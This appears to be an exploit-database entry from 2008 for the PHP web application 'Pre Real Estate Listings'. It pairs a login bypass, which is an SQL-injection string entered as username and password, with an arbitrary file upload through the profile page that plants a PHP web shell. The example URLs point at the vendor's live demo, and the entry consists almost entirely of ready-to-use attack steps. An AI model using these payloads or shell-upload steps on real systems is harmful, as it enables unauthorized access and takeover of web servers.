Pre Real Estate Listings - Arbitrary File Upload

Author: BackDoor
type: webapps
platform: php
port: 
date_added: 2008-11-10 
date_updated:  
verified: 1 
codes: OSVDB-57341;CVE-2008-7052;OSVDB-54276;CVE-2008-6798 
tags: 
aliases:  
screenshot_url:  
application_url: 

Pre Real Estate Listings (login.php) ByPass /File Upload
Script:Pre Real Estate Listings
HomePage:http://preproject.com/
Demo:http://preproject.com/ulisting/
Author:BackDoor
By Pass Exploit:
http://victim.com/scriptpath/login.php username:'or' password:'or'
Live Demo:
http://preproject.com/ulisting/login.php
File Upload Exploit:
login live demo username:'or' password:'or'
Edit Your Profile Link:http://preproject.com/ulisting/profile.php
Upload Your Shell:
Example:
http://preproject.com/ulisting/re_images/1221553817_logo_wp.php

Cyber-Security TIM //Lojistik

# milw0rm.com [2008-11-11]